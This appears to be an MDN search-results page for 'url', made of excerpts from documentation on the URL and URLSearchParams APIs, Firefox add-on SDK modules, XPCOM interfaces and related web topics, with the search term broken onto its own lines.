url.pathname = newpath value a usvstring.
... examples const
url = new
url('/docs/web/api/
url/pathname?q=value'); console.log(
url.pathname); // logs "/docs/web/api/
url/pathname" specifications specification status comment
urlthe definition of '
url.pathname' in that specification.
URL.protocol - Web APIs
the protocol property of the
url interface is a usvstring representing the protocol scheme of the
url, including the final ':'.
... syntax const protocol =
url.protocol
url.protocol = newprotocol value a usvstring.
... examples const
url = new
url('/docs/web/api/
url/protocol'); console.log(
url.protocol); // logs "https:" specifications specification status comment
urlthe definition of 'protocol' in that specification.
URL.toJSON() - Web APIs
the tojson() method of the
url interface returns a usvstring containing a serialized version of the
url, although in practice it seems to have the same effect as
url.tostring().
... syntax const href =
url.tojson() return value a usvstring.
... examples const
url = new
url("/docs/web/api/
url/tostring");
url.tojson(); // should return the
url as a string specifications specification status comment
urlthe definition of 'tojson()' in that specification.
URL.username - Web APIs
the username property of the
url interface is a usvstring containing the username specified before the domain name.
... syntax const usernamestring =
url.username
url.username = newusername value a usvstring.
... examples const
url = new
url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/
url/username'); console.log(
url.username) // logs "anonymous" specifications specification status comment
urlthe definition of 'username' in that specification.
URLSearchParams.get() - Web APIs
the get() method of the
urlsearchparams interface returns the first value associated to the given search parameter.
... syntax
urlsearchparams.get(name) parameters name the name of the parameter to return.
... examples if the
url of your page is https://example.com/?name=jonathan&age=18 you could parse out the 'name' and 'age' parameters using: let params = new
urlsearchparams(document.location.search.substring(1)); let name = params.get("name"); // is the string "jonathan" let age = parseint(params.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = params.get("address"); // null specifications specification status comment
urlthe definition of 'get()' in that specification.
URLSearchParams.has() - Web APIs
the has() method of the
urlsearchparams interface returns a boolean that indicates whether a parameter with the specified name exists.
... syntax var hasname =
urlsearchparams.has(name) parameters name the name of the parameter to find.
... examples let
url = new
url('https://example.com?foo=1&bar=2'); let params = new
urlsearchparams(
url.search.slice(1)); params.has('bar') === true; //true specifications specification status comment
urlthe definition of 'has()' in that specification.
URLUtilsReadOnly.origin - Web APIs
the
urlutilsreadonly.origin read-only property is a domstring containing the unicode serialization of the origin of the represented
url, that is, for http and https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified).
... for
url using file: scheme, the value is browser dependant.
... syntax string = object.origin; examples // on this page, returns the origin var result = self.location.origin; // returns:'https://developer.mozilla.org:443' specifications specification status comment
urlthe definition of '
urlutilsreadonly.origin' in that specification.
URLUtilsReadOnly.toString() - Web APIs
the
urlutilsreadonly.tostring() stringifier method returns a domstring containing the whole
url.
... it is a synonym for
urlutilsreadonly.href.
... syntax string = object.tostring(); examples // in a web worker, on the page https://developer.mozilla.org/
urlutilsreadonly.href var result = window.self.tostring(); // returns:'https://developer.mozilla.org/
urlutilsreadonly.href' browser compatibility the compatibility table in this page is generated from structured data.
WebSocket.url - Web APIs
the websocket.
url read-only property returns the absolute
url of the websocket as resolved by the constructor.
... syntax var
url = awebsocket.
url; value a domstring.
... specifications specification status comment html living standardthe definition of 'websocket:
url' in that specification.
Warning: -file- is being assigned a //# sourceMappingURL, but already has one - JavaScript
the javascript warning "-file- is being assigned a //# sourcemapping
url, but already has one." occurs when a source map has been specified more than once for a given javascript source.
... message warning: -file- is being assigned a //# sourcemapping
url, but already has one.
... examples setting source maps setting a source map by using a comment in the file: //# sourcemapping
url=http://example.com/path/to/your/sourcemap.map or, alternatively, you can set a header to your javascript file: x-sourcemap: /path/to/file.js.map ...
Custom about: URLs - Archive of obsolete content
this page describes how to register a new about:
url for your extension.
...this example creates an about page with
url about:myaboutpage which takes a user to a page that writes some text out.
Urlbar-icons - Archive of obsolete content
(the
url bar is also known as the address bar and the navigation bar.) example the default contents of browser.xul: <hbox id="
urlbar-icons"> <button be="" chromedir="ltr" class="
urlbar-icon" click="" for="" id="safebrowsing-
urlbar-icon" img="" level="safe" might="" onclick="godocommand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="this" type="menu"> <img class="
urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address="" chromedir="ltr" class="
urlbar-icon" id="go-button" in="" location="...
..." onclick="handle
urlbarcommand(event);" p="" the="" to="" tooltiptext="go" /> </button> </hbox> ...
browser.urlbar.formatting.enabled
the preference browser.
urlbar.formatting.enabled controls whether the domain name including the top level domain is highlighted in the address bar by coloring it black and the other parts grey.
... false all parts of the
url are given the same color: black.
Document.URL - Web APIs
the
url read-only property of the document interface returns the document location as a string.
... syntax const
url = document.
url example javascript document.getelementbyid("
url").textcontent = document.
url; html <p id="
urltext">
url:<br/> <span id="
url">
url goes here</span> </p> result specifications specification status comment domthe definition of 'document.
url' in that specification.
RTCIdentityErrorEvent.loginUrl - Web APIs
the read-only property rtcidentityerrorevent.login
url is a domstring giving the
url where the user can complete the authentication.
... syntax var login
url = event.login
url; event.login
url = "https://developer.mozilla.org/fake
url"; example pc.onidpassertionerror = function( ev ) { alert("the idp requested an authentication" + " to be performed at th3
url '" + ev.
url + "'."); } ...
ServiceWorker.scriptURL - Web APIs
returns the serviceworker serialized script
url defined as part of serviceworkerregistration.
... syntax some
url = serviceworker.script
url value a usvstring (see the webidl definition of usvstring.) examples tbd specifications specification status comment service workersthe definition of 'script
url' in that specification.
URLSearchParams.entries() - Web APIs
the entries() method of the
urlsearchparams interface returns an iterator allowing iteration through all key/value pairs contained in this object.
... examples // create a test
urlsearchparams object var searchparams = new
urlsearchparams("key1=value1&key2=value2"); // display the key/value pairs for(var pair of searchparams.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment
urlthe definition of 'entries() (see "iterable")' in that specification.
URLSearchParams.forEach() - Web APIs
the foreach() method of the
urlsearchparams interface allows iteration through all values contained in this object via a callback function.
... examples // create a test
urlsearchparams object var searchparams = new
urlsearchparams("key1=value1&key2=value2"); // log the values searchparams.foreach(function(value, key) { console.log(value, key); }); the result is: value1 key1 value2 key2 specifications specification status comment
urlthe definition of 'foreach() (see "iterable")' in that specification.
URLSearchParams.keys() - Web APIs
the keys() method of the
urlsearchparams interface returns an iterator allowing iteration through all keys contained in this object.
... examples // create a test
urlsearchparams object var searchparams = new
urlsearchparams("key1=value1&key2=value2"); // display the keys for(var key of searchparams.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment
urlthe definition of 'keys() (see "iterable")' in that specification.
URLSearchParams.sort() - Web APIs
the
urlsearchparams.sort() method sorts all key/value pairs contained in this object in place and returns undefined.
... examples // create a test
urlsearchparams object var searchparams = new
urlsearchparams("c=4&a=2&b=3&a=1"); // sort the key/value pairs searchparams.sort(); // display the sorted query string console.log(searchparams.tostring()); the result is: a=2&a=1&b=3&c=4 specifications specification status comment
urlthe definition of 'sort()' in that specification.
URLSearchParams.values() - Web APIs
the values() method of the
urlsearchparams interface returns an iterator allowing iteration through all values contained in this object.
... examples // create a test
urlsearchparams object var searchparams = new
urlsearchparams("key1=value1&key2=value2"); // display the values for(var value of searchparams.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment
urlthe definition of 'values() (see "iterable")' in that specification.
URLUtilsReadOnly.hash - Web APIs
the
urlutilsreadonly.hash read-only property returns a domstring containing a '#' followed by the fragment identifier of the
url.
... syntax string = object.hash; examples // in a web worker, on the page https://developer.mozilla.org/docs/
urlutilsreadonly.hash#example var result = window.self.hash; // returns:'#hash' specifications specification status comment
urlthe definition of '
urlutilsreadonly.hash' in that specification.
URLUtilsReadOnly.host - Web APIs
the
urlutilsreadonly.host read-only property returns a domstring containing the host, that is the hostname, a ':', and the port of the
url.
... syntax string = object.host; examples // in a web worker, on the page https://developer.mozilla.org/
urlutilsreadonly.host var result = window.self.host; // returns:'developer.mozilla.org:80' specifications specification status comment
urlthe definition of '
urlutilsreadonly.host' in that specification.
URLUtilsReadOnly.hostname - Web APIs
the
urlutilsreadonly.hostname read-only property returns a domstring containing the domain of the
url.
... syntax string = object.hostname; examples // in a web worker, on the page https://developer.mozilla.org/
urlutilsreadonly.hostname var result = window.self.hostname; // returns:'developer.mozilla.org' specifications specification status comment
urlthe definition of '
urlutilsreadonly.hostname' in that specification.
URLUtilsReadOnly.href - Web APIs
the
urlutilsreadonly.href read-only property is a stringifier that returns a domstring containing the whole
url.
... syntax string = object.href; examples // in a web worker, on the page https://developer.mozilla.org/
urlutilsreadonly.href var result = window.self.href; // returns:'https://developer.mozilla.org/
urlutilsreadonly.href' specifications specification status comment
urlthe definition of '
urlutilsreadonly.href' in that specification.
URLUtilsReadOnly.pathname - Web APIs
the
urlutilsreadonly.pathname read-only property returns a domstring containing an initial '/' followed by the path of the
url.
... syntax string = object.pathname; examples // in a web worker, on the page https://developer.mozilla.org/
urlutilsreadonly.pathname var result = window.self.pathname; // returns:'/
urlutilsreadonly.pathname' specifications specification status comment
urlthe definition of '
urlutilsreadonly.pathname' in that specification.
URLUtilsReadOnly.port - Web APIs
the
urlutilsreadonly.port read-only property returns a domstring containing the port number of the
url.
... syntax string = object.port; examples // in a web worker, on the page https://developer.mozilla.org/
urlutilsreadonly.port var result = window.self.port; // returns:'80' specifications specification status comment
urlthe definition of '
urlutilsreadonly.port' in that specification.
URLUtilsReadOnly.protocol - Web APIs
the
urlutilsreadonly.protocol read-only property returns a domstring containing the protocol scheme of the
url, including the final ':'.
... syntax string = object.protocol; examples // in a web worker, on the page https://developer.mozilla.org/
urlutilsreadonly.href var result = window.self.protocol; // returns:'https:' specifications specification status comment
urlthe definition of '
urlutilsreadonly.protocol' in that specification.
URLUtilsReadOnly.search - Web APIs
the
urlutilsreadonly.search read-only property returns a domstring containing a '?' followed by the parameters of the
url.
... syntax string = object.search; examples // in a web worker, on the page https://developer.mozilla.org/docs/
urlutilsreadonly.href?t=67 var result = window.self.search; // returns:'?t=67' specifications specification status comment
urlthe definition of '
urlutilsreadonly.search' in that specification.
unparsed-entity-url - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the unparsed-entity-
url() function returns the uri of the unparsed entity with the given name.
... syntax string unparsed-entity-
url(string) arguments the name of the unparsed entity.
nsIUrlListManagerCallback
toolkit/components/
url-classifier/public/nsi
urllistmanager.idlscriptable interface for a class that manages updates of the
url classifier database.
Index - Web APIs
503 cache.add() api, cache, experimental, method, reference, service workers, service worker api, serviceworker the add() method of the cache interface takes a
url, retrieves it, and adds the resulting response object to the given cache.
... 504 cache.addall() api, cache, experimental, method, needsexample, reference, service workers, service worker api, serviceworker, addall the addall() method of the cache interface takes an array of
urls, retrieves them, and adds the resulting response objects to the given cache.
... 514 cachestorage.match() api, cachestorage, experimental, method, reference, service workers, service worker api, serviceworker, match the match() method of the cachestorage interface (available globally as caches) checks if a given request or
url string is a key for a stored response.
...And 144 more matches
nsIMessenger
method overview void setdisplaycharset(in acstring acharset); void setwindow(in nsidomwindow ptr, in nsimsgwindow msgwindow); void open
url(in acstring a
url); void load
url(in nsidomwindow ptr, in acstring a
url); void launchexternal
url(in acstring a
url); boolean canundo(); boolean canredo(); unsigned long getundotransactiontype(); unsigned long getredotransactiontype(); void undo(in nsimsgwindow msgwindow); void redo(in nsimsgwindow msgwindow); void sendu...
...nsentmessages(in nsimsgidentity aidentity, in nsimsgwindow amsgwindow); void setdocumentcharset(in acstring characterset); void saveas(in acstring auri, in boolean aasfile, in nsimsgidentity aidentity, in astring amsgfilename); void openattachment(in acstring contenttpe, in acstring
url, in acstring displayname, in acstring messageuri, in boolean isexternalattachment); void saveattachment(in acstring contenttpe, in acstring
url, in acstring displayname, in acstring messageuri, in boolean isexternalattachment); void saveallattachments(in unsigned long count, [array, size_is(count)] in string contenttypearray, [array, size_is(count)] in string
urlarray, [array, size_is(count)] in string displaynamearray, [array, size_is(count)] in string messageuriar...
...ray); void saveattachmenttofile(in nsifile afile, in acstring a
url, in acstring amessageuri, in acstring acontenttype, in nsi
urllistener alistener); void detachattachment(in string contenttpe, in string
url, in string displayname, in string messageuri, in boolean savefirst, [optional] in boolean withoutwarning); void detachallattachments(in unsigned long count, [array, size_is(count)] in string contenttypearray, [array, size_is(count)] in string
urlarray, [array, size_is(count)] in string displaynamearray, [array, size_is(count)] in string messageuriarray, in boolean savefirst, [optional] in boolean withoutwarning); nsilocalfile saveattachmenttofolder(in acstring contenttype, in acstring
url, in acstring displayname, in acstring messageuri, in nsilocalfile ...
...And 43 more matches
Starting WebLock
addsite - add the current
url to the white list.
... removesite - remove the current
url from the white list.
...for example, addsite is supposed to add the current
url to the white list, but is the
url an input parameter to the method, is it the topmost web page in the gecko application, or is it something more random-a
url picked from global history or that's been given context in some other way?
...And 29 more matches
Index - Archive of obsolete content
49 page-mod add-on sdk run scripts in the context of web pages whose
url matches a given pattern.
... 64
url add-on sdk construct, validate, and parse
urls.
... 94 net/
url no summary!
...And 28 more matches
nsIMsgMessageService
inherits from: nsisupports method overview void copymessage(in string asrcuri, in nsistreamlistener acopylistener, in boolean amovemessage, in nsi
urllistener a
urllistener, in nsimsgwindow amsgwindow, out nsiuri a
url); [noscript] void copymessages(in nsmsgkeyarrayptr keys, in nsimsgfolder srcfolder, in nsistreamlistener acopylistener, in boolean amovemessage, in nsi
urllistener a
urllistener, in nsimsgwindow amsgwindow, out nsiuri a
url); void displaymessage(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in n...
...si
urllistener a
urllistener, in string acharsetoverride, out nsiuri a
url); void openattachment(in string acontenttype, in string afilename, in string a
url, in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsi
urllistener a
urllistener); void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedummyenvelope, in nsi
urllistener a
urllistener, out nsiuri a
url, in boolean canonicallineending, in nsimsgwindow amsgwindow); void get
urlforuri(in string amessageuri, out nsiuri a
url, in nsimsgwindow amsgwindow); void displaymessageforprinting(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsi
urllistener a
urllistener, out nsiuri a
url); void search(in nsimsg...
...searchsession asearchsession, in nsimsgwindow amsgwindow, in nsimsgfolder amsgfolder, in string asearchuri); nsiuri streammessage(in string amessageuri, in nsisupports aconsumer, in nsimsgwindow amsgwindow, in nsi
urllistener a
urllistener, in boolean aconvertdata, in string aadditionalheader); nsiuri streamheaders(in string amessageuri, in nsistreamlistener aconsumer, in nsi
urllistener a
urllistener [optional] in boolean alocalonly); boolean ismsginmemcache(in nsiuri a
url, in nsimsgfolder afolder, out nsicacheentrydescriptor acacheentry); nsimsgdbhdr messageuritomsghdr(in string uri); methods copymessage() pass in the uri for the message you want to have copied.
...And 28 more matches
page-mod - Archive of obsolete content
run scripts in the context of web pages whose
url matches a given pattern.
... a pattern that a page's
url must match, in order for the script(s) to be attached to that page.
... if you supply the scripts as separate files in the "data" directory, you specify them using with a
url, typically constructed using the
url() method of the self module's data object: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: data.
url("my-script.js") }); var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: ...
...And 26 more matches
Creating regular expressions for a microsummary generator - Archive of obsolete content
microsummary generators use them to identify the pages that the generators know how to summarize by matching patterns in those pages'
urls.
... in this tutorial, we'll explain how to make regular expressions that match the
urls for ebay auction item pages.
... by the end of the tutorial, you should know some basics about regular expressions and understand how to create expressions that match
urls.
...And 25 more matches
Creating localizable web applications
use the locale code in the
urls depending on how you detect user's locale, you may want to provide a way of overriding the autodetection.
... you can achieve this by setting a cookie when the user changes the locale with the language dropdown, or by looking for locale code in the
url.
... the latter involves rewriting the
urls to include the locale code and rewriting apache's aliases to handle locale in
urls.
...And 25 more matches
HTTP Index - HTTP
5 choosing between www and non-www
urls guide, http,
url a recurring question among website owners is whether to choose non-www or www
urls.
... 6 data
urls base64, guide, http, intermediate,
url data
urls,
urls prefixed with the data: scheme, allow content creators to embed small files inline in documents.
... 8 identifying resources on the web domain, http, path, scheme, syntax, uri,
url,
url syntax, web, fragment, port, query, resources the target of an http request is called a "resource", whose nature isn't defined further; it can be a document, a photo, or anything else.
...And 25 more matches
Creating hyperlinks - Learn web development
almost any web content can be converted to a link so that when clicked or otherwise activated the web browser goes to another web address (
url).
... note: a
url can point to html files, text files, images, text documents, video and audio files, or anything else that lives on the web.
... a quick primer on
urls and paths to fully understand link targets, you need to understand
urls and file paths.
...And 24 more matches
Add to iPhoto
among these are routines for managing cfstring, cf
url, and cfarray objects, among others.
... cf
url the cf
url type is used to describe a
url.
... it differs from a string in that it offers
url-specific methods for managing the content, and includes methods for converting between
urls and file system routine data formats such as fsref and unix pathnames.
...And 24 more matches
context-menu - Archive of obsolete content
rather, create your item only once and supply a context that matches the target
url.
... declarative contexts you can specify some simple, declarative contexts when you create a menu item by setting the context property of the options object passed to its constructor, like this: var cm = require("sdk/context-menu"); cm.item({ label: "my menu item", context: cm.
urlcontext("*.mozilla.org") }); constructor description pagecontext() the page context.
...
urlcontext(matchpattern) this context occurs when the menu is invoked on pages with particular
urls.
...And 22 more matches
panel - Archive of obsolete content
panel content the panel's content is specified as html, which is loaded from the
url supplied in the content
url option to the panel's constructor.
... you can load remote html into the panel: var mypanel = require("sdk/panel").panel({ width: 180, height: 180, content
url: "https://en.wikipedia.org/w/index.php?title=jetpack&useformat=mobile" }); mypanel.show(); you can also load html that's been packaged with your add-on, and this is most probably how you will create dialogs.
... to do this, save the html in your add-on's data directory and load it using the data.
url() method exported by the self module, like this: var mypanel = require("sdk/panel").panel({ content
url: require("sdk/self").data.
url("myfile.html") }); mypanel.show(); from firefox 34, you can use "./myfile.html" as an alias for self.data.
url("myfile.html").
...And 22 more matches
nsIFaviconService
.getservice(components.interfaces.nsifaviconservice); method overview void addfailedfavicon(in nsiuri afaviconuri); void expireallfavicons(); void getfavicondata(in nsiuri afaviconuri, out autf8string amimetype, [optional] out unsigned long adatalen, [array,retval,size_is(adatalen)] out octet adata); obsolete since gecko 22.0 astring getfavicondataasdata
url(in nsiuri afaviconuri); obsolete since gecko 22.0 nsiuri getfaviconforpage(in nsiuri apageuri); obsolete since gecko 22.0 nsiuri getfaviconimageforpage(in nsiuri apageuri); obsolete since gecko 22.0 nsiuri getfaviconlinkforicon(in nsiuri afaviconuri); boolean isfailedfavicon(in nsiuri afaviconuri); void removefailedfavicon(in nsiuri afaviconuri); ...
...i, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacallback acallback); obsolete since gecko 22.0 void setfavicondata(in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, in prtime aexpiration); obsolete since gecko 22.0 void setfavicondatafromdata
url(in nsiuri afaviconuri, in astring adata
url, in prtime aexpiration); obsolete since gecko 22.0 void setfavicon
urlforpage(in nsiuri apageuri, in nsiuri afaviconuri); obsolete since gecko 22.0 attributes attribute type description defaultfavicon nsiuri the default favicon uri.
... exceptions thrown ns_error_not_available thrown when we have never heard of this favicon
url.
...And 22 more matches
Network request list - Firefox Developer Tools
url: the
url of the file requested.
...rity icons the network monitor displays an icon in the domain column: this gives you extra information about the security status of the request: icon meaning https weak https (for example, a weak cipher was used) failed https (for example, a certificate was invalid) http localhost indicates that the
url belongs to a known tracker that would be blocked with content blocking enabled.
... blocking specific
urls if you want to view your page as it would look without a resource (e.g., if it were blocked by the browser or an extension), you can block requests matching patterns you specify.
...And 22 more matches
Proxy Auto-Configuration (PAC) file - HTTP
the javascript function contained in the pac file defines the function: function findproxyfor
url(
url, host) { // ...
... } syntax function findproxyfor
url(
url, host) parameters
url the
url being accessed.
... the path and query components of https://
urls are stripped.
...And 22 more matches
widget - Archive of obsolete content
you can include this content inline as a string by using the content property, or point to content using a
url with the content
url property.
... for example, this widget contains an image, so it looks like a simple icon: require("sdk/widget").widget({ id: "mozilla-icon", label: "my mozilla widget", content
url: "http://www.mozilla.org/favicon.ico" }); you can make content
url point to an html or icon file which you have packaged inside your add-on.
... just save the file in your add-on's data directory, and reference it using the data.
url() method of the self module: var data = require("sdk/self").data; require("sdk/widget").widget({ id: "my-widget", label: "my widget", content
url: data.
url("my-content.html") }); this widget contains an entire web page: require("sdk/widget").widget({ id: "hello-display", label: "my hello widget", content: "hello!", width: 50 }); widgets are quite small by default, so this example used the width property to grow it in order to show all the text.
...And 21 more matches
Client-Server Overview - Learn web development
this request includes: a
url identifying the target server and resource (e.g.
...information can be encoded as:
url parameters: get requests encode data in the
url sent to the server by adding name/value pairs onto the end of it — for example http://mysite.com?name=fred&age=11.
... you always have a question mark (?) separating the rest of the
url from the
url parameters, an equals sign (=) separating each name from its associated value, and an ampersand (&) separating each pair.
...And 21 more matches
Install Manifests - Archive of obsolete content
about
url the chrome://
url of the extension's about dialog box.
... examples <em:about
url>chrome://myext/content/about.xul</em:about
url> bootstrap a boolean value that tells the application whether the extension is boot-strappable.
... <em:hasembeddedwebextension>true</em:hasembeddedwebextension> homepage
url a link to the add-on's home page - intended for display in the user interface.
...And 20 more matches
XUL Structure - Archive of obsolete content
when you type the
url of an html page into the browser's address field, the browser locates the web site and downloads the content.
...this allows a special
url form, called a chrome://
url, to be used.
... by accessing a file using a chrome
url, the files receive elevated privileges to access local files, access preferences and bookmarks and perform other privileged operations.
...And 20 more matches
jpm - Archive of obsolete content
jpm post package your add-on as an xpi file, and then post it to some
url.
... jpm watchpost package your add-on as an xpi file whenever there is a file change and post that to some
url.
... for example, to pass the -jsconsole argument to firefox and launch the browser console, try the following: jpm run --binary-args -jsconsole to pass multiple arguments, or arguments containing spaces, quote them: jpm run --binary-args '-
url mzl.la -jsconsole' --debug run the add-on debugger attached to the add-on.
...And 19 more matches
Sending form data - Learn web development
its value must be a valid relative or absolute
url.
... if this attribute isn't provided, the data will be sent to the
url of the page containing the form — the current page.
... in this example, the data is sent to an absolute
url — https://example.com: <form action="https://example.com"> here, we use a relative
url — the data is sent to a different
url on the same origin: <form action="/somewhere_else"> when specified with no attributes, as below, the <form> data is sent to the same page that the form is present on: <form> note: it's possible to specify a
url that uses the https (secure http) protocol.
...And 19 more matches
Third-party APIs - Learn web development
note: some apis handle access to their functionality slightly differently, requiring the developer to make an http request to a specific
url pattern to retrieve data.
...(at the time of writing, it was called a "consumer key" on the site, and the key creation process also asked for an optional "callback
url".
... you don't need to fill in a
url here: just leave it blank.) open up your starting file, and replace the api key placeholder with your key.
...And 19 more matches
nsIFileProtocolHandler
inherits from: nsiprotocolhandler last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview nsifile getfilefrom
urlspec(in autf8string
url); autf8string get
urlspecfromactualfile(in nsifile file); autf8string get
urlspecfromdir(in nsifile file); autf8string get
urlspecfromfile(in nsifile file); nsiuri newfileuri(in nsifile afile); nsiuri read
urlfile(in nsifile file); methods getfilefrom
urlspec() converts the
url string into the corresponding nsifile if possible.
... a local file will be created if the
url string begins with file://.
... nsifile getfilefrom
urlspec( in autf8string
url ); parameters
url the
url string to convert.
...And 19 more matches
Finishing the Component
when the component starts up, it populates a list of
urls read in from a file stored next to the gecko binary on the local system.
...the interfaces needed to block certain
urls from loading are not frozen, and there is still some debate about how exactly this functionality should be exposed to embedders and component developers, so the apis are not ready to be published.
...also, provides access to the
url that are whitelisted.
...And 18 more matches
tabs - Archive of obsolete content
tabs.on('ready', function(tab) { console.log('tab is loaded', tab.title, tab.
url); }); access tabs the module itself can be used as a list of all opened tabs across all windows.
...b of tabs) console.log(tab.title); you can also access individual tabs by index: var tabs = require('sdk/tabs'); tabs.on('ready', function () { console.log('first: ' + tabs[0].title); console.log('last: ' + tabs[tabs.length-1].title); }); you can access the currently active tab: var tabs = require('sdk/tabs'); tabs.on('activate', function () { console.log('active: ' + tabs.activetab.
url); }); track a single tab given a tab, you can register event listeners to be notified when the tab is closed, activated or deactivated, or when the page hosted by the tab is loaded or retrieved from the "back-forward cache": var tabs = require("sdk/tabs"); function onopen(tab) { console.log(tab.
url + " is open"); tab.on("pageshow", logshow); tab.on("activate", logactivate); tab.on("de...
...activate", logdeactivate); tab.on("close", logclose); } function logshow(tab) { console.log(tab.
url + " is loaded"); } function logactivate(tab) { console.log(tab.
url + " is activated"); } function logdeactivate(tab) { console.log(tab.
url + " is deactivated"); } function logclose(tab) { console.log(tab.
url + " is closed"); } tabs.on('open', onopen); manipulate a tab you can get and set various properties of tabs (but note that properties relating to the tab's content, such as the
url, will not contain valid values until after the tab's ready event fires).
...And 17 more matches
Tabbed browser - Archive of obsolete content
dow, you can use: window.opener.gbrowser.addtab(...); if window.opener doesn't work, you can get the most recent browser window using this code: var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var mainwindow = wm.getmostrecentwindow("navigator:browser"); mainwindow.gbrowser.addtab(...); opening a
url in a new tab // add tab gbrowser.addtab("http://www.google.com/"); // add tab, then make active gbrowser.selectedtab = gbrowser.addtab("http://www.google.com/"); manipulating content of a new tab if you want to work on the content of the newly opened tab, you'll need to wait until the content has finished loading.
... opening a
url in the correct window/tab there are methods available in chrome://browser/content/utilityoverlay.js that make it easy to open
url in tabs such as openuilinkin and openuilink.
... openuilinkin(
url, where, allowthirdpartyfixup, postdata, referrer
url ) where: "current" current tab (if there aren't any browser windows, then in a new window instead) "tab" new tab (if there aren't any browser windows, then in a new window instead) "tabshifted" same as "tab" but in background if default is to select new tabs, and vice versa "window" new window "save" save to disk (with no filename hint!) openuilink(
url, e, ignorebutton, ignorealt, allowkeywordfixup, postdata, referrer
url ) the following code will open a
url in a new tab, an existing tab, or an existing window based on which mouse button was pressed and which hotkeys (ex: ctrl) are being held.
...And 17 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
the html <a> element (or anchor element), with its href attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a
url can address.
... downloadhtml5 prompts the user to save the linked
url instead of navigating to it.
... can be used with or without a value: without a value, the browser will suggest a filename/extension, generated from various sources: the content-disposition http header the final segment in the
url path the media type (from the (content-type header, the start of a data:
url, or blob.type for a blob:
url) defining a value suggests it as the filename.
...And 17 more matches
ui/frame - Archive of obsolete content
constructing frames the frame constructor takes one mandatory option, which is a
url pointing to an html document supplied under your add-ons "data" directory.
...n id="weather" class="info-element"></span> <script type="text/javascript" src="city-info.js"></script> </body> </html> if we save this document as "city-info.html" under the add-on's "data" directory, we can create a frame hosting it and add the frame to a toolbar like this: var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame({
url: "./city-info.html" }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); the toolbar is positioned between the address bar and the content window.
... var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame({
url: "./city-info.html", onmessage: (e) => { console.log("new city: " + e.data); } }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); from add-on to all frames to send a message from the add-on code to all frames, attached to all open browser windows, you can use frame.postmessage().
...And 16 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues */ function processldapvalues(values) { if(values) { // set the global var with the values returned from the ldap query ldap_values = values; var uid = getldapvalue(values, "uid"); var cn = getldapvalue(values, "cn"); var mail = getldapvalue(values, "mail"); var
url = getldapvalue(values, "labeleduri"); // those ldap variables are only available in this processldapvalues context!
..."component returned failure code: 0xc1f30001 (ns_error_not_initialized) [nsildap
url.spec]" nsresult: "0xc1f30001 (ns_error_not_initialized)" location: "js frame :: file:////usr/lib/thunderbird-3.0b2/defaults/autoconfig/prefcalls.js :: getldapattributes :: line 174" data: no] bug 295329 had been re-opened .
... [root@calaz firefox]# cat firefox.cfg //put everything in a try/catch try { //privacy & security defaultpref("signon.remembersignons", false); //proxy and cache, as it is on nfs volume, we don't want cache lockpref("browser.cache.disk.capacity", 0); lockpref("network.cookie.cookiebehavior", 0); defaultpref("network.proxy.autoconfig_
url", "http://wpad.int-evry.fr/wpad.dat"); defaultpref("network.proxy.type", 2); lockpref("network.protocol-handler.app.mailto", "/usr/bin/thunderbird"); //firefox3
urlclassifier3.sqlite iowait/cpu pb //http://forums.mozillazine.org/viewtopic.php?p=3381133#3381133 defaultpref("browser.safebrowsing.enabled", false); defaultpref("browser.safebrowsing.malware.enabled", false); // 1) env variables if(g...
...And 16 more matches
Recommended Drag Types - Web APIs
the html drag and drop api supports dragging various types of data, including plain text,
urls, html code, files, etc.
...both types should use the link’s
url for their data.
... note: the
url type is uri-list with an i, not an l.
...And 16 more matches
passwords - Archive of obsolete content
url for an add-on credential, this property is of the form: addon:<addon-id>, where <addon-id> is the add-on's program id.
... the realm is displayed in firefox's password manager, under "site", in brackets after the
url.
...
url the
url for the web service which requires the credential.
...And 15 more matches
Manifest Files - Archive of obsolete content
packages may be installed into mozilla and referenced with chrome
urls.
...manifest files a manifest file describes a package and maps its location on disk to a chrome
url.
...if you aren't sure what the file path is, open that directory in a browser and copy the
url from the address field.
...And 15 more matches
Graceful asynchronous programming with Promises - Learn web development
via a file://
url).
... inside your <script> element, add the following line: let promise = fetch('coffee.jpg'); this calls the fetch() method, passing it the
url of the image to fetch from the network as a parameter.
...because we want to do something a bit more complex to the blob than just run a single method on it and return the result, we'll need to wrap the function body in c
urly braces this time (otherwise it'll throw an error).
...And 15 more matches
Command line options
-new-tab
url open
url in a new tab.
... -new-window
url open
url in a new window.
... --kiosk
url open
url full screen without user interface.
...And 15 more matches
filter - CSS: Cascading Style Sheets
you can also reference an svg filter with a
url to an svg filter element.
... syntax /*
